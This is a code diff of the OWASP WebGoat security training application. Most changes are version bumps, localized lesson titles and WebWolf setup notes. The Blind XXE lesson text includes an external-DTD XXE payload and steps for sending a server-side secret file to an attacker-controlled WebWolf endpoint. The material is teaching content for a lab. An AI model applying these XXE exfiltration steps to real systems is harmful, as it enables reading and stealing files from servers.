when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker); when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker);
mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc")) mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc"))
.andExpect(status().isOk()) .andExpect(status().isOk())

View File

@ -62,7 +62,7 @@ public class UserTrackerRepositoryTest {
userTrackerRepository.save(userTracker); userTrackerRepository.save(userTracker);
userTracker = userTrackerRepository.findOne("test"); userTracker = userTrackerRepository.findByUser("test");
Assertions.assertThat(userTracker.getLessonTracker("test")).isNotNull(); Assertions.assertThat(userTracker.getLessonTracker("test")).isNotNull();
} }
@ -77,7 +77,7 @@ public class UserTrackerRepositoryTest {
userTrackerRepository.saveAndFlush(userTracker); userTrackerRepository.saveAndFlush(userTracker);
userTracker = userTrackerRepository.findOne("test"); userTracker = userTrackerRepository.findByUser("test");
Assertions.assertThat(userTracker.numberOfAssignmentsSolved()).isEqualTo(1); Assertions.assertThat(userTracker.numberOfAssignmentsSolved()).isEqualTo(1);
} }
@ -90,7 +90,7 @@ public class UserTrackerRepositoryTest {
userTracker.assignmentFailed(lesson); userTracker.assignmentFailed(lesson);
userTrackerRepository.saveAndFlush(userTracker); userTrackerRepository.saveAndFlush(userTracker);
userTracker = userTrackerRepository.findOne("test"); userTracker = userTrackerRepository.findByUser("test");
userTracker.assignmentFailed(lesson); userTracker.assignmentFailed(lesson);
userTracker.assignmentFailed(lesson); userTracker.assignmentFailed(lesson);
userTrackerRepository.saveAndFlush(userTracker); userTrackerRepository.saveAndFlush(userTracker);

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
</project> </project>

View File

@ -6,6 +6,6 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
</project> </project>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>

View File

@ -46,7 +46,6 @@ public class Flag extends Endpoint {
@PostConstruct @PostConstruct
public void initFlags() { public void initFlags() {
IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString())); IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
FLAGS.entrySet().stream().forEach(e -> log.debug("Flag {} {}", e.getKey(), e.getValue()));
} }
@Override @Override

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
</project> </project>

View File

@ -56,7 +56,7 @@ public class ClientSideFiltering extends NewLesson {
@Override @Override
public String getTitle() { public String getTitle() {
return "Client side filtering"; return "client.side.filtering.title";
} }
@Override @Override

View File

@ -1,3 +1,4 @@
client.side.filtering.title=Client side filtering
ClientSideFilteringSelectUser=Select user: ClientSideFilteringSelectUser=Select user:
ClientSideFilteringUserID=User ID ClientSideFilteringUserID=User ID
ClientSideFilteringFirstName=First Name ClientSideFilteringFirstName=First Name

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
<build> <build>
<plugins> <plugins>

View File

@ -60,7 +60,7 @@ public class CrossSiteScripting extends NewLesson {
@Override @Override
public String getTitle() { public String getTitle() {
return "Cross Site Scripting"; return "xss.title";
} }
@Override @Override

View File

@ -1,4 +1,5 @@
# XSS success, failure messages and hints # XSS success, failure messages and hints
xss.title=Cross Site Scripting
xss-reflected-5a-success=well done, but alerts aren't very impressive are they? Please continue. xss-reflected-5a-success=well done, but alerts aren't very impressive are they? Please continue.
xss-reflected-5a-failure=Try again. We do want to see this specific javascript (in case you are trying to do something more fancy) xss-reflected-5a-failure=Try again. We do want to see this specific javascript (in case you are trying to do something more fancy)
xss-reflected-5b-success=Correct ... because <ul><li>The script was not triggered by the URL/QueryString</li><li>Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.</li></ul> xss-reflected-5b-success=Correct ... because <ul><li>The script was not triggered by the URL/QueryString</li><li>Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.</li></ul>

View File

@ -6,6 +6,6 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
</project> </project>

View File

@ -33,7 +33,7 @@ public class CSRFLogin extends AssignmentEndpoint {
} }
private void markAssignmentSolvedWithRealUser(String username) { private void markAssignmentSolvedWithRealUser(String username) {
UserTracker userTracker = userTrackerRepository.findOne(username); UserTracker userTracker = userTrackerRepository.findByUser(username);
userTracker.assignmentSolved(getWebSession().getCurrentLesson(), this.getClass().getSimpleName()); userTracker.assignmentSolved(getWebSession().getCurrentLesson(), this.getClass().getSimpleName());
userTrackerRepository.save(userTracker); userTrackerRepository.save(userTracker);
} }

View File

@ -8,11 +8,11 @@ In this assignment you need to achieve to POST the following JSON message to our
[source] [source]
---- ----
POST /csrf/feedback HTTP/1.1 POST /csrf/feedback/message HTTP/1.1
{ {
"name" : "WebGoat", "name" : "WebGoat",
"email" : "webgoat@webgoat.org" "email" : "webgoat@webgoat.org",
"content" : "WebGoat is the best!!" "content" : "WebGoat is the best!!"
} }
---- ----

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
<dependencies> <dependencies>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
</project> </project>

View File

@ -8,6 +8,7 @@ http-basics.hints.http_basic_quiz.1=Turn on Show Parameters or other features
http-basics.hints.http_basic_quiz.2=Try to intercept the request with <a href='https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project' title='Link to ZAP'>OWASP ZAP</a> http-basics.hints.http_basic_quiz.2=Try to intercept the request with <a href='https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project' title='Link to ZAP'>OWASP ZAP</a>
http-basics.empty=Try again, name cannot be empty.
http-basics.reversed=The server has reversed your name: {0} http-basics.reversed=The server has reversed your name: {0}
http-basics.close=Try again: but this time enter a value before hitting go. http-basics.close=Try again: but this time enter a value before hitting go.

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
<dependencies> <dependencies>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
</project> </project>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
<dependencies> <dependencies>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
</project> </project>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
</project> </project>

View File

@ -5,12 +5,12 @@
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<packaging>pom</packaging> <packaging>pom</packaging>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
<parent> <parent>
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId> <artifactId>webgoat-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
<modules> <modules>

View File

@ -6,6 +6,6 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
</project> </project>

View File

@ -53,7 +53,7 @@ public class SqlInjectionAdvanced extends NewLesson {
@Override @Override
public String getTitle() { public String getTitle() {
return "SQL Injection (advanced)"; return "sql.advanced.title";
} }
@Override @Override

View File

@ -60,7 +60,7 @@ public class SqlInjection extends NewLesson {
@Override @Override
public String getTitle() { public String getTitle() {
return "SQL Injection"; return "sql.injection.title";
} }
@Override @Override

View File

@ -53,7 +53,7 @@ public class SqlInjectionMitigations extends NewLesson {
@Override @Override
public String getTitle() { public String getTitle() {
return "SQL Injection (mitigations)"; return "sql.mitigation.title";
} }
@Override @Override

View File

@ -1,6 +1,12 @@
#StringSqlInjection.java #StringSqlInjection.java
StringSqlInjectionSecondStage=Now that you have successfully performed an SQL injection, try the same type of attack on a parameterized query. Restart the lesson if you wish to return to the injectable query. StringSqlInjectionSecondStage=Now that you have successfully performed an SQL injection, try the same type of attack on a parameterized query. Restart the lesson if you wish to return to the injectable query.
EnterLastName=Enter your last name: EnterLastName=Enter your last name:
sql.injection.title=SQL Injection
sql.mitigation.title=SQL Injection (mitigation)
sql.advanced.title=SQL Injection (advanced)
NoResultsMatched=No results matched. Try Again. NoResultsMatched=No results matched. Try Again.
SqlStringInjectionHint1=The application is taking your input and inserting it at the end of a pre-formed SQL command. SqlStringInjectionHint1=The application is taking your input and inserting it at the end of a pre-formed SQL command.
SqlStringInjectionHint2=This is the code for the query being built and issued by WebGoat:<br><br> "SELECT * FROM user_data WHERE last_name = "accountName" SqlStringInjectionHint2=This is the code for the query being built and issued by WebGoat:<br><br> "SELECT * FROM user_data WHERE last_name = "accountName"

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
<dependencies> <dependencies>
<dependency> <dependency>

View File

@ -6,6 +6,6 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
</project> </project>

View File

@ -6,6 +6,6 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
</project> </project>

View File

@ -8,6 +8,7 @@ import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.client.RestClientException;
import org.springframework.web.client.RestTemplate; import org.springframework.web.client.RestTemplate;
import java.time.LocalDateTime; import java.time.LocalDateTime;
@ -39,7 +40,11 @@ public class MailAssignment extends AssignmentEndpoint {
.contents("This is a test message from WebWolf, your unique code is: " + StringUtils.reverse(username)) .contents("This is a test message from WebWolf, your unique code is: " + StringUtils.reverse(username))
.sender("webgoat@owasp.org") .sender("webgoat@owasp.org")
.build(); .build();
try {
restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); restTemplate.postForEntity(webWolfURL, mailEvent, Object.class);
} catch (RestClientException e ) {
return informationMessage().feedback("webwolf.email_failed").output(e.getMessage()).build();
}
return informationMessage().feedback("webwolf.email_send").feedbackArgs(email).build(); return informationMessage().feedback("webwolf.email_send").feedbackArgs(email).build();
} else { } else {
return informationMessage().feedback("webwolf.email_mismatch").feedbackArgs(username).build(); return informationMessage().feedback("webwolf.email_mismatch").feedbackArgs(username).build();

View File

@ -12,6 +12,7 @@
<div class="lesson-page-wrapper"> <div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Receiving_mail.adoc"></div> <div class="adoc-content" th:replace="doc:Receiving_mail.adoc"></div>
<div class="attack-container"> <div class="attack-container">
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div> <div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN" <form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form" method="POST" name="form"
@ -66,6 +67,7 @@
<div class="lesson-page-wrapper"> <div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:Landing_page.adoc"></div> <div class="adoc-content" th:replace="doc:Landing_page.adoc"></div>
<div class="attack-container"> <div class="attack-container">
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div> <div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<a href="/WebGoat/WebWolf/landing/password-reset" target="_blank">Click here to reset your password</a> <a href="/WebGoat/WebWolf/landing/password-reset" target="_blank">Click here to reset your password</a>

View File

@ -2,7 +2,7 @@ webwolf.title=WebWolf
webwolf.email_send=An email has been send to {0} please check your inbox. webwolf.email_send=An email has been send to {0} please check your inbox.
webwolf.code_incorrect=That is not the correct code: {0}, please try again. webwolf.code_incorrect=That is not the correct code: {0}, please try again.
webwolf.email_failed=There was an error while sending the e-mail. Is WebWolf running?
webwolf.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username. webwolf.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username.

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.7 KiB

View File

@ -1,7 +1,17 @@
== Introducing WebWolf == Introducing WebWolf
NOTE: You only need WebWolf if you a lesson specifies you can use it. For a lot of lessons you use WebGoat without You only need WebWolf if you a lesson specifies you can use it. For a lot of lessons you use WebGoat without
starting WebWolf. starting WebWolf. If you need to do an exercise with WebWolf make sure it is running along side with WebGoat. Lessons
where you can use WebWolf are marked with the following icon (top right in assignment):
{nbsp}
image::images/wolf-enabled.png[width=115,height=128]
{nbsp}
Even if the icon the present your are not obliged to use WebWolf, you can also use any intercepting tool you like, like
`netcat` etc.
WebWolf is a separate web application which simulates an attackers machine. It makes it possible for us to WebWolf is a separate web application which simulates an attackers machine. It makes it possible for us to
make a clear distinction between what takes place on the attacked website and the actions you need to do as make a clear distinction between what takes place on the attacked website and the actions you need to do as
@ -20,12 +30,18 @@ are not using the Docker image you will need to download the jar file and start
java -jar webwolf-<<version>>.jar java -jar webwolf-<<version>>.jar
``` ```
WebWolf is also available as a Docker container: WebWolf is also available as a Docker container, because it shares the database with WebGoat we first need
to find out the ip address of the Docker container.
``` ```
docker pull webwolf/webwolf-8.0 WEBGOAT_SERVER_ADDRESS=$(docker inspect -f "{{ .NetworkSettings.IPAddress }}" `docker ps | grep webgoat | awk '{print $1}'`)
docker run -it 8081:8081 /home/webwolf/run.sh docker pull webgoat/webwolf
docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 8081:8081 webgoat/webwolf /home/webwolf/run.sh
``` ```
Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well. If
you start WebGoat as Docker container you need to start WebWolf as Docker container as well.
This will start the application on port 8081, click webWolfLink:here[] to open WebWolf. This will start the application on port 8081, click webWolfLink:here[] to open WebWolf.
First thing you need to do is register a new user within WebWolf. First thing you need to do is register a new user within WebWolf.

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
<dependencies> <dependencies>

View File

@ -58,7 +58,7 @@ public class XXE extends NewLesson {
@Override @Override
public String getTitle() { public String getTitle() {
return "XXE"; return "xxe.title";
} }
@Override @Override

View File

@ -144,6 +144,7 @@
<div class="lesson-page-wrapper"> <div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:XXE_blind_assignment.adoc"></div> <div class="adoc-content" th:replace="doc:XXE_blind_assignment.adoc"></div>
<div class="attack-container"> <div class="attack-container">
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div> <div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN" <form class="attack-form" accept-charset="UNKNOWN"
method="POST" name="form" method="POST" name="form"

View File

@ -22,6 +22,7 @@
# projects. # projects.
# <p> # <p>
# #
xxe.title=XXE
xxe.simple.output=Welcome {0} you can now login to our website xxe.simple.output=Welcome {0} you can now login to our website
xxe.content.type.feedback.json=You are posting JSON which does not work with a XXE xxe.content.type.feedback.json=You are posting JSON which does not work with a XXE
xxe.content.type.feedback.xml=You are posting XML but there is no XXE attack performed xxe.content.type.feedback.xml=You are posting XML but there is no XXE attack performed

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.7 KiB

View File

@ -1,4 +1,3 @@
== Blind XXE == Blind XXE
In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page. In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page.
@ -6,25 +5,25 @@ Or the resource you are trying to read contains illegal XML character which caus
Let's start with an example, in this case we reference an external DTD which we control on our own server. Let's start with an example, in this case we reference an external DTD which we control on our own server.
As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example
use this server to ping it using `http://localhost:8081/ping?text=HelloWorld use this server to ping it using `webWolfLink:landing[noLink]`
How do we use this endpoint to verify whether we can perform XXE? How do we use this endpoint to verify whether we can perform XXE?
We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents: We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents:
[source] [source, subs="macros, specialcharacters"]
---- ----
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!ENTITY ping SYSTEM 'http://localhost:8081/ping?text=HelloWorld'> <!ENTITY ping SYSTEM 'webWolfLink:landing[noLink]'>
---- ----
Now submit the form change the xml using to: Now submit the form change the xml using to:
[source] [source, subs="macros, specialcharacters"]
---- ----
<?xml version="1.0"?> <?xml version="1.0"?>
<!DOCTYPE root [ <!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://localhost:8081/WebWolf/files/attack.dtd"> <!ENTITY % remote SYSTEM "webWolfLink:files/attack.dtd[noLink]">
%remote; %remote;
]> ]>
<comment> <comment>

View File

@ -9,15 +9,15 @@ DTD.
|OS |Location |OS |Location
|Linux |Linux
|`/home/USER/.webgoat/XXE/secret.txt` |`/home/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|Windows |Windows
|`c:/Users/USER/.webgoat/XXE/secret.txt` |`c:/Users/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|Docker |Docker
|`/home/webgoat/.webgoat/XXE/secret.txt` |`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt`
|=== |===
Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]` Try to upload this file using WebWolf landing page for example: `webWolfLink:landing?text=contents_file[noLink]`
(NOTE: this endpoint is under your full control) (NOTE: this endpoint is under your full control)
Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson. Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson.

View File

@ -2,13 +2,13 @@ FROM openjdk:8-jre-slim
ARG webgoat_version=8.0-SNAPSHOT ARG webgoat_version=8.0-SNAPSHOT
RUN useradd --home-dir /home/webgoat --create-home -U webgoat RUN \
apt-get update && apt-get install && \
RUN apt-get update; apt-get install curl -y useradd --home-dir /home/webgoat --create-home -U webgoat
COPY start.sh /home/webgoat/start.sh
RUN chmod +x /home/webgoat/start.sh
USER webgoat USER webgoat
RUN cd /home/webgoat/; mkdir -p .webgoat RUN cd /home/webgoat/; mkdir -p .webgoat-${webgoat_version}
COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webgoat/webgoat.jar", "--server.address=0.0.0.0"]
EXPOSE 8080

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId> <artifactId>webgoat-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
<properties> <properties>
@ -198,6 +198,11 @@
<artifactId>spring-boot-devtools</artifactId> <artifactId>spring-boot-devtools</artifactId>
<optional>true</optional> <optional>true</optional>
</dependency> </dependency>
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.2.2</version>
</dependency>
</dependencies> </dependencies>
<build> <build>

View File

@ -0,0 +1,51 @@
package org.owasp.webgoat;
import org.hsqldb.server.Server;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.boot.autoconfigure.jdbc.DataSourceBuilder;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.DependsOn;
import org.springframework.context.annotation.Primary;
import javax.sql.DataSource;
/**
* Rationale for this class: when the HSQLDB is started with jdbc:file:// it is only accessible from within the same
* JVM. This can only be done if you start a standalone HSQLDB. We need both WebWolf and WebGoat to use the same database
*/
@Configuration
@ConditionalOnProperty(prefix = "webgoat.start", name = "hsqldb", havingValue = "true")
public class HSQLDBDatabaseConfig {
@Value("${hsqldb.port:9001}")
private int hsqldbPort;
@Bean(initMethod = "start", destroyMethod = "stop")
public Server hsqlStandalone(@Value("${webgoat.server.directory}") String directory,
@Value("${hsqldb.silent:true}") boolean silent,
@Value("${hsqldb.trace:false}") boolean trace) {
Server server = new Server();
server.setDatabaseName(0, "webgoat");
server.setDatabasePath(0, directory + "/data/webgoat");
server.setDaemon(true);
server.setTrace(trace);
server.setSilent(silent);
server.setPort(hsqldbPort);
return server;
}
@Primary
@Bean
@DependsOn("hsqlStandalone")
public DataSource dataSource(@Value("${spring.datasource.driver-class-name}") String driverClass,
@Value("${spring.datasource.url}") String url) {
return DataSourceBuilder.create()
.driverClassName(driverClass)
.url(url)
.build();
}
}

View File

@ -37,7 +37,4 @@ public class StartWebGoat {
public static void main(String[] args) { public static void main(String[] args) {
SpringApplication.run(WebGoat.class, args); SpringApplication.run(WebGoat.class, args);
} }
} }

View File

@ -1,3 +0,0 @@
#!/bin/sh
java -jar -Djava.security.egd=file:/dev/./urandom /home/webgoat/webgoat.jar

View File

@ -2,12 +2,13 @@ FROM openjdk:8-jre-slim
ARG webwolf_version=8.0-SNAPSHOT ARG webwolf_version=8.0-SNAPSHOT
RUN useradd --home-dir /home/webwolf --create-home -U webwolf RUN \
apt-get update && apt-get install && \
RUN apt-get update; apt-get install curl -y useradd --home-dir /home/webwolf --create-home -U webwolf
COPY start.sh /home/webwolf/start.sh
RUN chmod +x /home/webwolf/start.sh
USER webwolf USER webwolf
COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar
ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webwolf/webwolf.jar", "--server.address=0.0.0.0"]
EXPOSE 8081

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId> <artifactId>webgoat-parent</artifactId>
<version>8.0.0.M3</version> <version>v8.0.0.M14</version>
</parent> </parent>
<dependencies> <dependencies>
@ -78,6 +78,11 @@
<artifactId>hsqldb</artifactId> <artifactId>hsqldb</artifactId>
<version>${hsqldb.version}</version> <version>${hsqldb.version}</version>
</dependency> </dependency>
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.2.2</version>
</dependency>
<!-- ************* START: Dependencies for Unit and Integration Testing ************** --> <!-- ************* START: Dependencies for Unit and Integration Testing ************** -->
<dependency> <dependency>
@ -85,6 +90,10 @@
<artifactId>spring-boot-starter-test</artifactId> <artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope> <scope>test</scope>
</dependency> </dependency>
<dependency>
<groupId>org.springframework.security</groupId>
<artifactId>spring-security-test</artifactId>
</dependency>
</dependencies> </dependencies>
<build> <build>

View File

@ -1,5 +1,8 @@
package org.owasp.webwolf.mailbox; package org.owasp.webwolf.mailbox;
import com.fasterxml.jackson.annotation.JsonIgnore;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
@ -13,6 +16,8 @@ import java.time.format.DateTimeFormatter;
* @since 8/20/17. * @since 8/20/17.
*/ */
@Data @Data
@Builder
@AllArgsConstructor
@Entity @Entity
@NoArgsConstructor @NoArgsConstructor
public class Email implements Serializable { public class Email implements Serializable {
@ -20,7 +25,7 @@ public class Email implements Serializable {
@Id @Id
@GeneratedValue(strategy = GenerationType.IDENTITY) @GeneratedValue(strategy = GenerationType.IDENTITY)
private Long id; private Long id;
private LocalDateTime time; private LocalDateTime time = LocalDateTime.now();
@Column(length = 1024) @Column(length = 1024)
private String contents; private String contents;
private String sender; private String sender;
@ -28,7 +33,7 @@ public class Email implements Serializable {
private String recipient; private String recipient;
public String getSummary() { public String getSummary() {
return "-" + this.contents.substring(0, 50); return "-" + this.contents.substring(0, Math.min(50, contents.length()));
} }
public LocalDateTime getTimestamp() { public LocalDateTime getTimestamp() {

View File

@ -7,6 +7,8 @@ import org.owasp.webwolf.user.WebGoatUser;
import org.springframework.http.HttpStatus; import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.core.userdetails.User;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestBody;
@ -25,12 +27,11 @@ import java.util.concurrent.Callable;
@Slf4j @Slf4j
public class MailboxController { public class MailboxController {
private final UserRepository userRepository;
private final MailboxRepository mailboxRepository; private final MailboxRepository mailboxRepository;
@GetMapping(value = "/WebWolf/mail") @GetMapping(value = "/WebWolf/mail")
public ModelAndView mail() { public ModelAndView mail() {
